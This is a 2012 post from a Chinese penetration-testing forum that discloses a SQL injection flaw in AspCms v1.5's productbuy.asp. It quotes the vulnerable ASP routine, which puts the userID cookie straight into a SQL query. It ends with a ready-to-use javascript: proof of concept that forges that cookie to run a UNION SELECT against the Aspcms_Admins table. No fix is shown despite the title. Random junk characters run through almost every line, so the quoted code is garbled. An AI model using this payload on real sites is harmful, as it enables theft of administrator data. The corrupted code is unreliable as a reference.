中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
  `& Z# P8 r3 {# w1 ^2 s2 B也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
4 z! \2 q! n1 |3 n: _9 F8 |废话不多说,看代码:% u) w$ w6 h. }  b* O! G, f

+ k9 O' b/ d- I( `<%
7 `% P2 t! S! y, I5 B$ N/ P: D& T, f( G' j
if action = "buy" then! g5 t; }9 a9 V: M7 r4 F1 f  u
, }* P, z! h( f' ?/ K) P
        addOrder()! ^( Y- D$ |4 p; M

+ m+ O0 i  j0 E8 h8 u5 H5 Felse  q1 |6 L# f) u/ W

# f8 g9 n- z5 a  F        echoContent(), W* R+ r  A0 W6 m( E" o/ L3 }7 P

- Y3 M5 A/ X: \end if
% @. J; o8 k! x2 p# C& S
% [5 J6 ]- M! Y
' ~+ T- L2 ~! Q$ U4 _2 p, {! z: U, A: o8 B3 ^/ }) x: n
……略过
2 T; f% A) ]. J1 z" M' k
8 D% z) V. G" e+ }
* y# ]4 `# Y" W& I) g3 V' j) G: F3 H7 m+ e: V8 h
Sub echoContent()
/ H4 Q% U8 ]" G) ^6 {1 ]
6 X& J# l, y6 ]0 w5 g1 w        dim id
8 y; X0 z% [* U7 ]# f7 f7 L( z
        id=getForm("id","get")5 _3 ^4 r$ }5 x

; D( G, X, B3 A- c  J7 q: {        
9 i9 M0 d+ B8 {. e
3 u# n, P7 P- f) m# S+ p* m        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 0 O& `, J( Y& h& m( a# p
4 z9 T" `" |1 Q- y& s, y. {
        
; }) ^% x& I1 N; a+ P# T; r, l# z, o
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
+ W$ j: A: j6 o( i* C. N2 h1 z7 b7 W) g, Y, A
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct/ p! J) K  @* y2 z
  |  H4 ]/ N5 M" \" z
        Dim templatePath,tempStr
6 x2 \) P) v/ ~, m9 ~# ~' {5 }+ w
9 o; r7 H8 T6 ]! K1 i9 U        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"$ Y! C7 }$ B/ X' U2 d3 w

& @% A- [2 T5 E+ v4 }8 A. |. \5 e, z6 F( }

; X) ^* W* H- ?* P        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")/ s% w, I; L" O. j' ?

# j" M6 i" q" I9 V5 a- d, q        selectproduct=rsObj(0)
: B8 [( _- H4 F& `
: }0 Q5 X9 v6 l) b! F        * ], C8 ]& Q$ }4 e( _

2 U% P& }2 h3 O# z& B+ @1 N! O        Dim linkman,gender,phone,mobile,email,qq,address,postcode/ S; T$ Y  u" V# l9 n( S
6 w7 d& ^7 ~$ j0 e5 c+ ^/ O" y% _7 U
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",01 c& s+ u1 O0 H( y+ ^* [1 {2 W: l
( n( s' x) m2 Q/ E
        if rCookie("loginstatus")=1 then  
5 h7 K# ]2 z7 a( e/ O& [- }
0 T$ m) |' ^# C# N( ?6 R) G                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
  \* |  ]; ?* u, ]* E" F0 ?
1 X7 P1 ^6 N9 d3 C7 ]& X                linkman=rsObj("truename")
# D1 E3 Q% u& S0 X! e" d+ @) ]- x" M
: c6 w/ H) ^" ^                gender=rsObj("gender")
6 p6 [5 y( D1 A0 Q
+ U: z% Z* j" J+ i' D* ^. {$ a' \                phone=rsObj("phone")/ o3 M% O6 j$ i. C3 ]$ V/ q

4 k" Y6 J) P8 ~" c                mobile=rsObj("mobile")
& X( ~7 W% i3 ]. O
3 q) q1 J# n2 n  ?: }% s7 a                email=rsObj("email")
) v, Y2 v. f: I/ g+ m" d1 c8 @  t, |# ?+ d1 p$ X6 f* u
                qq=rsObj("qq")
# [& S* H! ]( P7 `& f  y
5 a. L0 K3 L; O2 i, t/ S                address=rsObj("address"), D, f0 n- v- g7 J

! x, y! b$ l+ K3 S9 i) }# ^                postcode=rsObj("postcode")
% K( D) w6 d0 e: Y
' c2 @; p: q3 i, ]5 E+ _1 E        else 6 v% W& v, k& S) S

9 I5 R3 A/ m9 m9 y  y                gender=1
1 }$ F  T( @. u1 v3 A; {
) g# Y, Y$ w! @0 l) x# Y  L        end if
$ G, V9 N6 R6 @+ t2 Z2 R& V. ?7 X
7 U1 N& F9 ~. P( N! V        rsObj.close()2 Y" R5 p& D2 a; j
4 ?' g! V! d% m
                + Y1 o7 E5 w0 }8 G; O0 ]

% W$ e+ N2 h0 C        with templateObj 9 D6 l& \/ ^2 y( j7 Q

- l, P% w0 Y" @1 b$ z* F( J                .content=loadFile(templatePath)        . F) U, A7 ~# d3 Y4 k: S$ T

) j5 e* ]. v) Q+ L+ B9 p7 U                .parseHtml()4 T: V% j8 _) g3 T! o7 [8 L
0 U. h/ F+ j' \; t
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
' A2 ]9 q/ z% r3 I
0 U* b: |3 P( q) l! O( x9 Z                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                . k/ y& B2 u  h& }, V

% v; b/ `! w! C                .content=replaceStr(.content,"[aspcms:gender]",gender)                0 Y! c- I- _! y6 k9 L" D
/ D- ]+ B+ b1 |/ F9 K
                .content=replaceStr(.content,"[aspcms:phone]",phone)                ; K( G3 }5 a2 N' D0 b

6 D5 u" k0 d5 f; ^1 v" l                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                . \1 Q1 A5 H) J0 h- m

$ k6 e* P8 w8 J2 m8 k                .content=replaceStr(.content,"[aspcms:email]",email)                        
# A+ D1 w0 K' {# t' h0 x5 N8 G0 T( Q
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        7 i$ [, H1 j; U3 q  J  t2 l

* d" r1 j' ]' E$ o                .content=replaceStr(.content,"[aspcms:address]",address)                        
! @6 A9 I$ O8 F; J4 ]: O+ p3 Y" b, f& u. i) }
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
7 c/ W' i/ l+ m. ^- C) W/ j# P8 t) C1 A) ~8 Z5 A9 n
                .parseCommon()                 3 M( [5 I. a& W- r( V
6 ^+ ]0 i' o7 M, G& v
                echo .content
, Z4 h+ q5 n* Y$ a$ v0 t" r* q/ J. }3 U% Z
        end with
# C& G8 a* }1 {) D/ q! A( {0 ~/ _
$ }$ F7 ]- d% G- H* D        set templateobj =nothing : terminateAllObjects" e. J2 l' ^& A' y# h0 L
8 P% @: Z& S& V% }  K8 b
End Sub4 S8 f' W! A; q& m6 n
漏洞很明显,没啥好说的4 X4 v/ e+ s; I5 D
poc:: L" G! B9 J5 K  r  ~$ Y
6 s9 w. x% n/ b# g$ J
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
1 ^& X# ~% y4 d7 C- q& Q5 l2 w% o( B1 c$ Z* ^0 D/ C; @( n





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2